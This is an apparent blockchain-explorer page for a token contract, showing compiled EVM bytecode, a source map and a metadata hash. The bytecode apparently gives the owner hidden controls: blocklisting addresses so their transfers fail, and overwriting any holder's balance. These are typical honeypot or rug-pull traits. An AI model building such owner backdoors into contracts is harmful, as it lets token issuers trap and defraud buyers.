fff16610895611328565b73ffffffffffffffffffffffffffffffffffffffff16146108b557600080fd5b6108bf8282611351565b5050565b600061097d6108d0610dc9565b846109788560405180602001604052806000815250600160006108f1610dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b610dd1565b6001905092915050565b600061099b610994610dc9565b8484610f9c565b6001905092915050565b6109ad610dc9565b73ffffffffffffffffffffffffffffffffffffffff166109cb611328565b73ffffffffffffffffffffffffffffffffffffffff16146109eb57600080fd5b80600560006101000a81548160ff02191690831515021790555050565b610a10610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610a2e611328565b73ffffffffffffffffffffffffffffffffffffffff1614610a4e57600080fd5b60005b81518161ffff161015610b3857610a66611328565b73ffffffffffffffffffffffffffffffffffffffff16828261ffff1681518110610a9357610a92611a62565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614610b2d57600160036000848461ffff1681518110610ad357610ad2611a62565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806001019050610a51565b5050565b610b44610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610b62611328565b73ffffffffffffffffffffffffffffffffffffffff1614610b8257600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c6c610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610c8a611328565b73ffffffffffffffffffffffffffffffffffffffff1614610caa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ce457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610db09190611ac0565b905083811015610dbf57600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611b3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea890611b3c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8f9190611705565b60405180910390a3505050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110455760011515600560009054906101000a900460ff16151514611044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103b90611b3c565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac90611b3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611125576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111c90611b3c565b60405180910390fd5b6111888160405180602001604052806000815250600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112ca9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610da190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112bd9190611705565b60405180910390a3505050565b6000838311158290611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130991906115b6565b60405180910390fd5b50828461131f9190611b5c565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611b3c565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143f90611b3c565b60405180910390fd5b816006546114569190611b5c565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60008282546114ab9190611b5c565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115109190611705565b60405180910390a3505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561155757808201518184015260208101905061153c565b83811115611566576000848401525b50505050565b6000601f19601f8301169050919050565b60006115888261151d565b6115928185611528565b93506115a2818560208601611539565b6115ab8161156c565b840191505092915050565b600060208201905081810360008301526115d0818461157d565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611617826115ec565b9050919050565b6116278161160c565b811461163257600080fd5b50565b6000813590506116448161161e565b92915050565b6000819050919050565b61165d8161164a565b811461166857600080fd5b50565b60008135905061167a81611654565b92915050565b60008060408385031215611697576116966115e2565b5b60006116a585828601611635565b92505060206116b68582860161166b565b9150509250929050565b60008115159050919050565b6116d5816116c0565b82525050565b60006020820190506116f060008301846116cc565b92915050565b6116ff8161164a565b82525050565b600060208201905061171a60008301846116f6565b92915050565b600080600060608486031215611739576117386115e2565b5b600061174786828701611635565b935050602061175886828701611635565b92505060406117698682870161166b565b9150509250925092565b600060ff82169050919050565b61178981611773565b82525050565b60006020820190506117a46000830184611780565b92915050565b6000602082840312156117c0576117bf6115e2565b5b60006117ce84828501611635565b91505092915050565b6117e0816116c0565b81146117eb57600080fd5b50565b6000813590506117fd816117d7565b92915050565b600060208284031215611819576118186115e2565b5b6000611827848285016117ee565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61186d8261156c565b810181811067ffffffffffffffff8211171561188c5761188b611835565b5b80604052505050565b600061189f6115d8565b90506118ab8282611864565b919050565b600067ffffffffffffffff8211156118cb576118ca611835565b5b602082029050602081019050919050565b600080fd5b60006118f46118ef846118b0565b611895565b90508083825260208201905060208402830185811115611917576119166118dc565b5b835b81811015611940578061192c8882611635565b845260208401935050602081019050611919565b5050509392505050565b600082601f83011261195f5761195e611830565b5b813561196f8482602086016118e1565b91505092915050565b60006020828403121561198e5761198d6115e2565b5b600082013567ffffffffffffffff8111156119ac576119ab6115e7565b5b6119b88482850161194a565b91505092915050565b600080604083850312156119d8576119d76115e2565b5b60006119e685828601611635565b92505060206119f785828601611635565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a4857607f821691505b60208210811415611a5c57611a5b611a01565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611acb8261164a565b9150611ad68361164a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b0b57611b0a611a91565b5b828201905092915050565b50565b6000611b26600083611528565b9150611b3182611b16565b600082019050919050565b60006020820190508181036000830152611b5581611b19565b9050919050565b6000611b678261164a565b9150611b728361164a565b925082821015611b8557611b84611a91565b5b82820390509291505056fea26469706673582212209d8f0fd706d82e43963898f08886d4538505d87116c7624420a973857a10ac0d64736f6c63430008080033

Deployed Bytecode Sourcemap

7826:506:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3816:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5297:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3700:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6125:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4018:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5474:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4571:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4117:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4364:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8008:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3915:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8220:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5700:232;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5942:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4488:75;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4737:285;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4252:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5085:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2715:202;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3816:91;3861:13;3894:5;3887:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3816:91;:::o;5297:169::-;5380:4;5397:39;5406:12;:10;:12::i;:::-;5420:7;5429:6;5397:8;:39::i;:::-;5454:4;5447:11;;5297:169;;;;:::o;3700:108::-;3761:7;3788:12;;3781:19;;3700:108;:::o;6125:281::-;6231:4;6248:36;6258:6;6266:9;6277:6;6248:9;:36::i;:::-;6295:81;6304:6;6312:12;:10;:12::i;:::-;6326:49;6364:6;6326:49;;;;;;;;;;;;:11;:19;6338:6;6326:19;;;;;;;;;;;;;;;:33;6346:12;:10;:12::i;:::-;6326:33;;;;;;;;;;;;;;;;:37;;:49;;;;;:::i;:::-;6295:8;:81::i;:::-;6394:4;6387:11;;6125:281;;;;;:::o;4018:91::-;4067:5;4092:9;;;;;;;;;;;4085:16;;4018:91;:::o;5474:218::-;5562:4;5579:83;5588:12;:10;:12::i;:::-;5602:7;5611:50;5650:10;5611:11;:25;5623:12;:10;:12::i;:::-;5611:25;;;;;;;;;;;;;;;:34;5637:7;5611:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;5579:8;:83::i;:::-;5680:4;5673:11;;5474:218;;;;:::o;4571:160::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;4661:7:::1;:5;:7::i;:::-;4648:20;;:9;:20;;;4645:79;;4708:4;4685:9;:20;4695:9;4685:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;4645:79;4571:160:::0;:::o;4117:127::-;4191:7;4218:9;:18;4228:7;4218:18;;;;;;;;;;;;;;;;4211:25;;4117:127;;;:::o;4364:118::-;4430:4;4454:9;:20;4464:9;4454:20;;;;;;;;;;;;;;;;;;;;;;;;;4447:27;;4364:118;;;:::o;8008:39::-;;;;;;;;;;;;;;;;;:::o;3915:95::-;3962:13;3995:7;3988:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3915:95;:::o;8220:107::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;8297:22:::1;8303:7;8312:6;8297:5;:22::i;:::-;8220:107:::0;;:::o;5700:232::-;5793:4;5810:92;5819:12;:10;:12::i;:::-;5833:7;5842:59;5881:15;5842:59;;;;;;;;;;;;:11;:25;5854:12;:10;:12::i;:::-;5842:25;;;;;;;;;;;;;;;:34;5868:7;5842:34;;;;;;;;;;;;;;;;:38;;:59;;;;;:::i;:::-;5810:8;:92::i;:::-;5920:4;5913:11;;5700:232;;;;:::o;5942:175::-;6028:4;6045:42;6055:12;:10;:12::i;:::-;6069:9;6080:6;6045:9;:42::i;:::-;6105:4;6098:11;;5942:175;;;;:::o;4488:75::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;4554:1:::1;4542:9;;:13;;;;;;;;;;;;;;;;;;4488:75:::0;:::o;4737:285::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;4826:8:::1;4821:194;4844:9;:16;4840:1;:20;;;4821:194;;;4898:7;:5;:7::i;:::-;4882:23;;:9;4892:1;4882:12;;;;;;;;;;:::i;:::-;;;;;;;;:23;;;4879:93;;4952:4;4926:9;:23;4936:9;4946:1;4936:12;;;;;;;;;;:::i;:::-;;;;;;;;4926:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;4879:93;4998:3;;;;;4821:194;;;;4737:285:::0;:::o;4252:102::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;4341:5:::1;4318:9;:20;4328:9;4318:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;4252:102:::0;:::o;5085:151::-;5174:7;5201:11;:18;5213:5;5201:18;;;;;;;;;;;;;;;:27;5220:7;5201:27;;;;;;;;;;;;;;;;5194:34;;5085:151;;;;:::o;2715:202::-;2577:12;:10;:12::i;:::-;2566:23;;:7;:5;:7::i;:::-;:23;;;2558:32;;;;;;2824:1:::1;2804:22;;:8;:22;;;;2796:31;;;::::0;::::1;;2872:8;2843:38;;2864:6;::::0;::::1;;;;;;;;2843:38;;;;;;;;;;;;2901:8;2892:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2715:202:::0;:::o;293:148::-;351:7;371:9;387:1;383;:5;;;;:::i;:::-;371:17;;412:1;407;:6;;399:15;;;;;;432:1;425:8;;;293:148;;;;:::o;1716:98::-;1769:7;1796:10;1789:17;;1716:98;:::o;7533:276::-;7652:1;7635:19;;:5;:19;;;;7627:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;7697:1;7678:21;;:7;:21;;;;7670:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;7747:6;7717:11;:18;7729:5;7717:18;;;;;;;;;;;;;;;:27;7736:7;7717:27;;;;;;;;;;;;;;;:36;;;;7785:7;7769:32;;7778:5;7769:32;;;7794:6;7769:32;;;;;;:::i;:::-;;;;;;;;7533:276;;;:::o;6414:441::-;6516:9;:17;6526:6;6516:17;;;;;;;;;;;;;;;;;;;;;;;;;6512:53;;;6556:4;6543:17;;:9;;;;;;;;;;;:17;;;6535:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;6512:53;6602:1;6584:20;;:6;:20;;;;6576:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;6649:1;6628:23;;:9;:23;;;;6620:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;6697:33;6719:6;6697:33;;;;;;;;;;;;:9;:17;6707:6;6697:17;;;;;;;;;;;;;;;;:21;;:33;;;;;:::i;:::-;6677:9;:17;6687:6;6677:17;;;;;;;;;;;;;;;:53;;;;6764:32;6789:6;6764:9;:20;6774:9;6764:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;6741:9;:20;6751:9;6741:20;;;;;;;;;;;;;;;:55;;;;6829:9;6812:35;;6821:6;6812:35;;;6840:6;6812:35;;;;;;:::i;:::-;;;;;;;;6414:441;;;:::o;581:166::-;667:7;700:1;695;:6;;703:12;687:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;738:1;734;:5;;;;:::i;:::-;727:12;;581:166;;;;;:::o;2618:89::-;2666:7;2693:6;;;;;;;;;;;2686:13;;2618:89;:::o;6863:367::-;6966:1;6947:21;;:7;:21;;;;6939:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;6990:22;7015:9;:18;7025:7;7015:18;;;;;;;;;;;;;;;;6990:43;;7070:6;7052:14;:24;;7044:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;7130:6;7119:8;;:17;;;;:::i;:::-;7098:9;:18;7108:7;7098:18;;;;;;;;;;;;;;;:38;;;;7163:6;7147:12;;:22;;;;;;;:::i;:::-;;;;;;;;7211:1;7185:37;;7194:7;7185:37;;;7215:6;7185:37;;;;;;:::i;:::-;;;;;;;;6928:302;6863:367;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1397:75::-;1430:6;1463:2;1457:9;1447:19;;1397:75;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:116::-;5306:21;5321:5;5306:21;:::i;:::-;5299:5;5296:32;5286:60;;5342:1;5339;5332:12;5286:60;5236:116;:::o;5358:133::-;5401:5;5439:6;5426:20;5417:29;;5455:30;5479:5;5455:30;:::i;:::-;5358:133;;;;:::o;5497:323::-;5553:6;5602:2;5590:9;5581:7;5577:23;5573:32;5570:119;;;5608:79;;:::i;:::-;5570:119;5728:1;5753:50;5795:7;5786:6;5775:9;5771:22;5753:50;:::i;:::-;5743:60;;5699:114;5497:323;;;;:::o;5826:117::-;5935:1;5932;5925:12;5949:180;5997:77;5994:1;5987:88;6094:4;6091:1;6084:15;6118:4;6115:1;6108:15;6135:281;6218:27;6240:4;6218:27;:::i;:::-;6210:6;6206:40;6348:6;6336:10;6333:22;6312:18;6300:10;6297:34;6294:62;6291:88;;;6359:18;;:::i;:::-;6291:88;6399:10;6395:2;6388:22;6178:238;6135:281;;:::o;6422:129::-;6456:6;6483:20;;:::i;:::-;6473:30;;6512:33;6540:4;6532:6;6512:33;:::i;:::-;6422:129;;;:::o;6557:311::-;6634:4;6724:18;6716:6;6713:30;6710:56;;;6746:18;;:::i;:::-;6710:56;6796:4;6788:6;6784:17;6776:25;;6856:4;6850;6846:15;6838:23;;6557:311;;;:::o;6874:117::-;6983:1;6980;6973:12;7014:710;7110:5;7135:81;7151:64;7208:6;7151:64;:::i;:::-;7135:81;:::i;:::-;7126:90;;7236:5;7265:6;7258:5;7251:21;7299:4;7292:5;7288:16;7281:23;;7352:4;7344:6;7340:17;7332:6;7328:30;7381:3;7373:6;7370:15;7367:122;;;7400:79;;:::i;:::-;7367:122;7515:6;7498:220;7532:6;7527:3;7524:15;7498:220;;;7607:3;7636:37;7669:3;7657:10;7636:37;:::i;:::-;7631:3;7624:50;7703:4;7698:3;7694:14;7687:21;;7574:144;7558:4;7553:3;7549:14;7542:21;;7498:220;;;7502:21;7116:608;;7014:710;;;;;:::o;7747:370::-;7818:5;7867:3;7860:4;7852:6;7848:17;7844:27;7834:122;;7875:79;;:::i;:::-;7834:122;7992:6;7979:20;8017:94;8107:3;8099:6;8092:4;8084:6;8080:17;8017:94;:::i;:::-;8008:103;;7824:293;7747:370;;;;:::o;8123:539::-;8207:6;8256:2;8244:9;8235:7;8231:23;8227:32;8224:119;;;8262:79;;:::i;:::-;8224:119;8410:1;8399:9;8395:17;8382:31;8440:18;8432:6;8429:30;8426:117;;;8462:79;;:::i;:::-;8426:117;8567:78;8637:7;8628:6;8617:9;8613:22;8567:78;:::i;:::-;8557:88;;8353:302;8123:539;;;;:::o;8668:474::-;8736:6;8744;8793:2;8781:9;8772:7;8768:23;8764:32;8761:119;;;8799:79;;:::i;:::-;8761:119;8919:1;8944:53;8989:7;8980:6;8969:9;8965:22;8944:53;:::i;:::-;8934:63;;8890:117;9046:2;9072:53;9117:7;9108:6;9097:9;9093:22;9072:53;:::i;:::-;9062:63;;9017:118;8668:474;;;;;:::o;9148:180::-;9196:77;9193:1;9186:88;9293:4;9290:1;9283:15;9317:4;9314:1;9307:15;9334:320;9378:6;9415:1;9409:4;9405:12;9395:22;;9462:1;9456:4;9452:12;9483:18;9473:81;;9539:4;9531:6;9527:17;9517:27;;9473:81;9601:2;9593:6;9590:14;9570:18;9567:38;9564:84;;;9620:18;;:::i;:::-;9564:84;9385:269;9334:320;;;:::o;9660:180::-;9708:77;9705:1;9698:88;9805:4;9802:1;9795:15;9829:4;9826:1;9819:15;9846:180;9894:77;9891:1;9884:88;9991:4;9988:1;9981:15;10015:4;10012:1;10005:15;10032:305;10072:3;10091:20;10109:1;10091:20;:::i;:::-;10086:25;;10125:20;10143:1;10125:20;:::i;:::-;10120:25;;10279:1;10211:66;10207:74;10204:1;10201:81;10198:107;;;10285:18;;:::i;:::-;10198:107;10329:1;10326;10322:9;10315:16;;10032:305;;;;:::o;10343:114::-;;:::o;10463:364::-;10605:3;10626:66;10690:1;10685:3;10626:66;:::i;:::-;10619:73;;10701:93;10790:3;10701:93;:::i;:::-;10819:1;10814:3;10810:11;10803:18;;10463:364;;;:::o;10833:419::-;10999:4;11037:2;11026:9;11022:18;11014:26;;11086:9;11080:4;11076:20;11072:1;11061:9;11057:17;11050:47;11114:131;11240:4;11114:131;:::i;:::-;11106:139;;10833:419;;;:::o;11258:191::-;11298:4;11318:20;11336:1;11318:20;:::i;:::-;11313:25;;11352:20;11370:1;11352:20;:::i;:::-;11347:25;;11391:1;11388;11385:8;11382:34;;;11396:18;;:::i;:::-;11382:34;11441:1;11438;11434:9;11426:17;;11258:191;;;;:::o

Swarm Source

ipfs://9d8f0fd706d82e43963898f08886d4538505d87116c7624420a973857a10ac0d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.